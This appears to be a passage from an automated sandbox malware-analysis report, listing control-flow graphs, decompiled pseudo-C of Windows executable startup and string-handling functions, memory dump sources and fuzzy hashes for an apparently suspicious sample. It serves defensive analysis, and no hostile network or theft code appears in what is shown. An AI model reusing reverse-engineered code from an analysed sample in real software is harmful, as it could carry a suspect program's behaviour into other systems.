                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 238 7ff7d2532910-7ff7d25329bf call 7ff7d2535d30 call 7ff7d2534899 call 7ff7d25347fd 245 7ff7d2532f70-7ff7d2532f88 call 7ff7d2534899 238->245 246 7ff7d25329c5-7ff7d25329d1 238->246 250 7ff7d2532f8d-7ff7d2532f8f 245->250 247 7ff7d25329d9-7ff7d2532a52 call 7ff7d2534848 memset call 7ff7d2535ec0 246->247 258 7ff7d2532ef8-7ff7d2532f2f call 7ff7d2535ec0 call 7ff7d2535600 247->258 259 7ff7d2532a58-7ff7d2532a64 call 7ff7d2535ec0 247->259 250->246 252 7ff7d2532f95-7ff7d2532fc0 250->252 254 7ff7d2532fe1-7ff7d2532ff2 252->254 256 7ff7d2532fc8-7ff7d2532fcc 254->256 257 7ff7d2532ff4-7ff7d253301e call 7ff7d2535ec0 * 2 254->257 260 7ff7d2532fd2-7ff7d2532fdb 256->260 261 7ff7d2533140-7ff7d2533150 256->261 275 7ff7d2533020-7ff7d253304f call 7ff7d2535600 257->275 276 7ff7d2533054-7ff7d2533058 257->276 282 7ff7d2532f38-7ff7d2532f58 258->282 269 7ff7d2532a7d-7ff7d2532a99 call 7ff7d2533800 wcslen 259->269 270 7ff7d2532a66-7ff7d2532a77 259->270 260->254 260->261 261->246 269->282 283 7ff7d2532a9f-7ff7d2532ae8 memset wcscpy wcslen 269->283 270->269 275->276 277 7ff7d253305a-7ff7d2533079 276->277 278 7ff7d253307e-7ff7d253308e wcsncmp 276->278 277->278 278->256 281 7ff7d2533094-7ff7d25330b7 278->281 281->246 286 7ff7d25330bd-7ff7d2533122 call 7ff7d2534830 281->286 284 7ff7d2532aee-7ff7d2532b1e memset wcscpy wcslen 282->284 285 7ff7d2532f5e-7ff7d2532f66 282->285 283->284 283->285 287 7ff7d2532b22-7ff7d2532ef4 wcslen * 3 call 7ff7d25347fd * 2 call 7ff7d253483c call 7ff7d2534818 * 2 284->287 285->287 286->247 292 7ff7d2533128-7ff7d2533134 286->292 292->247
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: wcslen$memset$wcscpy$wcsncmp
                                                                                                                                                                                                                                                                                                                                                      • String ID: 0$X$`
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4021896446-2527496196
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 33059f4ff35779884bd9962b5d602de84a6918ac8858be527ded1efd4cd66d48
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ce37a9ba809e695eb4766d434a2c7b54de4706207f5a67061a6f720ac9db9993
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 33059f4ff35779884bd9962b5d602de84a6918ac8858be527ded1efd4cd66d48
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 15127F3260CBC581E7609F25E4007AEB3A0FB85794F849326EE9957799EFBCD185CB10
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2531180 Relevance: 10.7, APIs: 7, Instructions: 206sleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 301 7ff7d2531180-7ff7d25311ae 302 7ff7d2531480-7ff7d2531483 GetStartupInfoW 301->302 303 7ff7d25311b4-7ff7d25311d1 301->303 307 7ff7d2531490-7ff7d25314aa call 7ff7d253b068 302->307 304 7ff7d25311e4-7ff7d25311ef 303->304 305 7ff7d25311f1-7ff7d25311ff 304->305 306 7ff7d25311d3-7ff7d25311d6 304->306 308 7ff7d2531437-7ff7d2531446 call 7ff7d253b058 305->308 309 7ff7d2531205-7ff7d2531209 305->309 311 7ff7d25311dc-7ff7d25311e1 Sleep 306->311 312 7ff7d2531420-7ff7d2531431 306->312 318 7ff7d253144c-7ff7d2531467 _initterm 308->318 319 7ff7d2531224-7ff7d2531226 308->319 314 7ff7d253120f-7ff7d253121e 309->314 315 7ff7d25314b0-7ff7d25314c9 call 7ff7d253b078 309->315 311->304 312->308 312->309 314->318 314->319 327 7ff7d25314ce-7ff7d25314d0 call 7ff7d253b0a8 315->327 321 7ff7d253146d-7ff7d2531472 318->321 322 7ff7d253122c-7ff7d2531239 318->322 319->321 319->322 321->322 324 7ff7d2531247-7ff7d253128f call 7ff7d2534dd0 SetUnhandledExceptionFilter call 7ff7d253ac50 call 7ff7d2534b50 call 7ff7d253ac10 322->324 325 7ff7d253123b-7ff7d2531243 322->325 337 7ff7d2531291 324->337 338 7ff7d25312a6-7ff7d25312ad 324->338 325->324 330 7ff7d25314d5-7ff7d25314d6 327->330 339 7ff7d25312e7-7ff7d25312ed 337->339 340 7ff7d25312af-7ff7d25312be 338->340 341 7ff7d2531293-7ff7d2531296 338->341 345 7ff7d2531390-7ff7d253139a 339->345 346 7ff7d25312f3-7ff7d2531318 malloc 339->346 344 7ff7d25312a2 340->344 342 7ff7d2531298-7ff7d253129b 341->342 343 7ff7d25312c0-7ff7d25312c7 341->343 342->343 347 7ff7d253129d 342->347 350 7ff7d25312c9 343->350 351 7ff7d25312e0 343->351 344->338 348 7ff7d253139c 345->348 349 7ff7d25313a1-7ff7d25313a7 345->349 352 7ff7d253131e-7ff7d253132c 346->352 353 7ff7d25313b5-7ff7d25313e9 call 7ff7d2534960 call 7ff7d2531880 346->353 347->344 348->349 349->346 354 7ff7d25312d0-7ff7d25312de 350->354 351->339 356 7ff7d253132e 352->356 357 7ff7d2531383-7ff7d2531388 352->357 366 7ff7d25313ee-7ff7d25313fc 353->366 354->351 354->354 360 7ff7d2531330-7ff7d2531336 356->360 358 7ff7d2531351-7ff7d2531374 malloc memcpy 357->358 362 7ff7d25313b0 358->362 363 7ff7d2531376-7ff7d2531381 358->363 361 7ff7d2531340-7ff7d253134b 360->361 361->361 365 7ff7d253134d 361->365 362->353 363->357 363->360 365->358 366->327 367 7ff7d2531402-7ff7d253140a 366->367 367->307 368 7ff7d2531410-7ff7d253141f 367->368
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 31%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2531180(void* __edi, void* __esp, void* __r8) {
				signed short _v116;
				signed char _v120;
				void* _v168;
				_Unknown_base(*)()* _t34;
				void* _t36;
				intOrPtr _t44;
				void* _t55;
				signed int _t59;
				intOrPtr* _t95;
				long long _t96;
				intOrPtr* _t97;
				intOrPtr _t98;
				signed short* _t99;
				signed short* _t100;
				long long _t101;
				intOrPtr* _t105;
				intOrPtr _t107;
				long long* _t115;
				intOrPtr* _t120;
				signed short* _t121;
				signed long long _t122;
				void* _t124;
				signed short* _t125;
				signed long long _t132;

				_t122 =  *0xd2729b30; // 0x7ff7d272c090
				r9d =  *_t122;
				memset(__edi, 0, 0xd << 0);
				if (r9d != 0) goto 0xd2531480;
				_t107 =  *0xd2729b90; // 0x7ff7d272cc28
				goto 0xd25311e4;
				if ( *((intOrPtr*)( *[gs:0x30] + 8)) ==  *[gs:0x30]) goto 0xd2531420;
				Sleep(??);
				asm("lock dec eax");
				if (_t124 != 0) goto 0xd25311d3;
				_t120 =  *0xd2729ba0; // 0x7ff7d272cc20
				if ( *_t120 == 1) goto 0xd2531437;
				if ( *_t120 == 0) goto 0xd25314b0;
				 *0xd272c008 = 1;
				if ( *_t120 == 1) goto 0xd253144c;
				if (0 == 0) goto 0xd253146d;
				_t95 =  *0xd2729ad0; // 0x7ff7d2729340
				_t96 =  *_t95;
				if (_t96 == 0) goto 0xd2531247;
				r8d = 0;
				E00007FF77FF7D2534DD0( *_t96());
				_t34 = SetUnhandledExceptionFilter(??);
				_t115 =  *0xd2729b80; // 0x7ff7d272c0d0
				 *_t115 = _t96;
				_t36 = E00007FF77FF7D2534B50(E00007FF77FF7D253AC50(_t34, 0x7ff7d2531000));
				_t97 =  *0xd2729ae0; // 0x7ff7d2530000
				 *0xd272cc18 = _t97;
				E00007FF77FF7D253AC10(_t36);
				_t98 =  *_t97;
				if (_t98 != 0) goto 0xd25312a6;
				goto 0xd25312e7;
				if (2 == 0) goto 0xd25312c0;
				if (2 == 0) goto 0xd25312c0;
				_t99 = _t98 + 2;
				_t59 =  *_t99 & 0x0000ffff;
				if (_t59 - 0x20 <= 0) goto 0xd2531293;
				r8d = 1;
				r8d = r8d ^ 0x00000001;
				_t55 =  ==  ? r8d : 1;
				goto 0xd25312a2;
				if (_t59 - 1 - 0x1f > 0) goto 0xd25312e0;
				_t100 =  &(_t99[1]);
				_t5 = _t107 - 1; // 0x7ff7d272cc27
				if (_t5 - 0x1f <= 0) goto 0xd25312d0;
				 *0xd272cc10 = _t100;
				r8d =  *_t122;
				if (r8d != 0) goto 0xd2531390;
				r13d = _t107 + 1;
				_t132 = r13d << 3;
				malloc(??);
				_t121 =  *0xd272c020;
				_t125 = _t100;
				if ( *0xd272c028 <= 0) goto 0xd25313b5;
				r12d = _t107 - 1;
				_t101 =  *((intOrPtr*)(_t121 + _t122 * 8));
				if ( *_t101 == 0) goto 0xd2531383;
				r8d = 1;
				asm("o16 nop [cs:eax+eax]");
				if ( *((short*)(_t101 + (__r8 + 1) * 2 - 2)) != 0) goto 0xd2531340;
				malloc(??);
				 *((long long*)(_t125 + _t122 * 8)) = _t101;
				memcpy(??, ??, ??);
				_t18 = _t122 + 1; // 0x2
				if (Sleep == _t122) goto 0xd25313b0;
				if ( *((short*)( *((intOrPtr*)(_t121 + _t18 * 8)))) != 0) goto 0xd2531330;
				goto 0xd2531351;
				asm("o16 nop [eax+eax]");
				if ((_v120 & 0x00000001) == 0) goto 0xd25313a1;
				 *0xd253c000 = _v116 & 0x0000ffff;
				goto 0xd25312f3;
				_t26 = _t132 - 8; // -8
				 *((long long*)(_t125 + _t26)) = 0;
				 *0xd272c020 = _t125;
				E00007FF77FF7D2534960();
				_t105 =  *0xd2729af0; // 0x7ff7d272d32c
				 *((long long*)( *_t105)) =  *0xd272c018;
				_t44 = E00007FF77FF7D2531880( *_t105); // executed
				 *0xd272c010 = _t44;
				if ( *0xd272c00c == 0) goto 0xd25314ce;
				if ( *0xd272c008 == 0) goto 0xd2531490;
				return _t44;
			}



























                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253118f
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253119d
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25311a8
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25311ae
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25311bd
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25311d1
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25311d6
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25311e1
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25311e7
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25311ef
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25311f1
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25311ff
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531209
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253120f
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253121e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531226
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253122c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531233
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531239
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253123b
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531247
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531253
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531259
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531267
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253126f
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531274
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253127b
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531282
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531289
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253128f
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531291
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531296
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253129b
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312a2
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312a6
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312ad
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312af
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312b2
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312ba
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312be
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312c7
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312d0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312d7
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312de
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312e0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312e7
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312ed
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25312f9
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531300
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531307
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253130e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531315
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531318
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253131e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531324
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253132c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531330
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531336
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253134b
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531354
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253135c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531368
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253136d
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531374
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531381
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2531388
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253138a
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253139a
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25313a1
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25313a7
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25313b0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25313b5
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25313bc
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25313c3
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25313c8
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25313df
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25313e9
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25313f4
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25313fc
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253140a
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253141f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpy
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 772431862-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: aba9c5b3757c98ca382d9b3c657b4c84d8a4c441baf61d98908d189a5f065949
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 34b1a59712723510ee367ea86e2a90765e0b3bab6ad7375170a4b0a0524de8d0
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: aba9c5b3757c98ca382d9b3c657b4c84d8a4c441baf61d98908d189a5f065949
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 40913035A0C60A85EA20BF25E440B7DA3A1FF8A794FC49077DA0E47791DFADE452C760
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2535790 Relevance: 4.5, APIs: 3, Instructions: 20COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2535790(void* __eax, void* __edx) {

				if (__edx == 0) goto 0xd25357a0;
				return __eax;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535796
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253579c

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Value$Free
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2242701089-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 5f5e33732f1a2baa0488548fcf08a49a416277df25ee702b3d386eb0f6878d40
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: df931988eceed34bca5c42c585921983433bc70ea2904a99f0a2754f75e17c29
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f5e33732f1a2baa0488548fcf08a49a416277df25ee702b3d386eb0f6878d40
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 28F0DA34E1950386EA20BF10E84147EA361EF9D364FC45076C60E02275DEADF507CA20
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2533A50 Relevance: 3.8, APIs: 3, Instructions: 71COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 30%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2533A50(void* __eax, void* __edi, void* __esp, void* __rax, void* __rcx) {
				char _v584;
				void* _v632;
				char _v644;
				char _v648;
				void* _v668;
				intOrPtr _v692;
				long long _v700;
				intOrPtr _v708;
				intOrPtr _v716;
				intOrPtr _v724;
				intOrPtr _v732;
				long long _v740;
				void* _t25;
				void* _t26;
				void* _t43;
				signed long long _t44;
				long long _t62;
				void* _t63;

				r12d = 0;
				_t1 =  &_v584; // 0x781
				0xd253b138();
				_t2 =  &_v648; // 0x741
				_t63 = __rax;
				goto 0xd2533a93;
				if (__eax == 0x2f) goto 0xd2533a9e;
				_t44 = _t43 + 1;
				if (__rax - _t44 < 0) goto 0xd2533b55;
				if (( *(__rcx + _t44 * 2) & 0x0000ffff) != 0x5c) goto 0xd2533a80;
				r8d = 0x208;
				memset(??, ??, ??);
				0xd253b130();
				 *((short*)(_t1 + _t44 * 2)) = 0;
				memset(__edi, 0, 6 << 0);
				_t9 =  &_v644; // 0x751
				E00007FF77FF7D2533890(_t9, _t2, _t1);
				_v692 = 0;
				_v700 = _t62;
				_v708 = 1;
				_v716 = 3;
				_v724 = 0;
				_v732 = 0x80;
				_v740 = _t62;
				_t25 = E00007FF77FF7D253476D(_t2); // executed
				if (_t25 < 0) goto 0xd2533b43;
				_t26 = E00007FF77FF7D25347AF(_t2);
				if (_t63 - _t44 + 1 >= 0) goto 0xd2533a93;
				return _t26;
			}





















                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533a63
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533a66
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533a71
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533a76
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533a7b
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533a7e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533a84
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533a86
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533a8d
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533a9c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533a9e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533aa9
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533ab4
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533ac3
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533ad5
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533ad8
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533ae3
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533af0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533af8
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533b09
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533b11
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533b19
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533b21
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533b29
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533b2e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533b3c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533b43
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533b4f
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533b66

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memsetwcscpywcslen
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3616488086-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6cb730a88a899a48cc7dbe438e7a114cfea7be47a82b9deb0c0c6546a1eb19cd
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: bb61ed949c4c50492fcb68e249ec64e35942075df9c0dcfce0389db18bc84bac
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6cb730a88a899a48cc7dbe438e7a114cfea7be47a82b9deb0c0c6546a1eb19cd
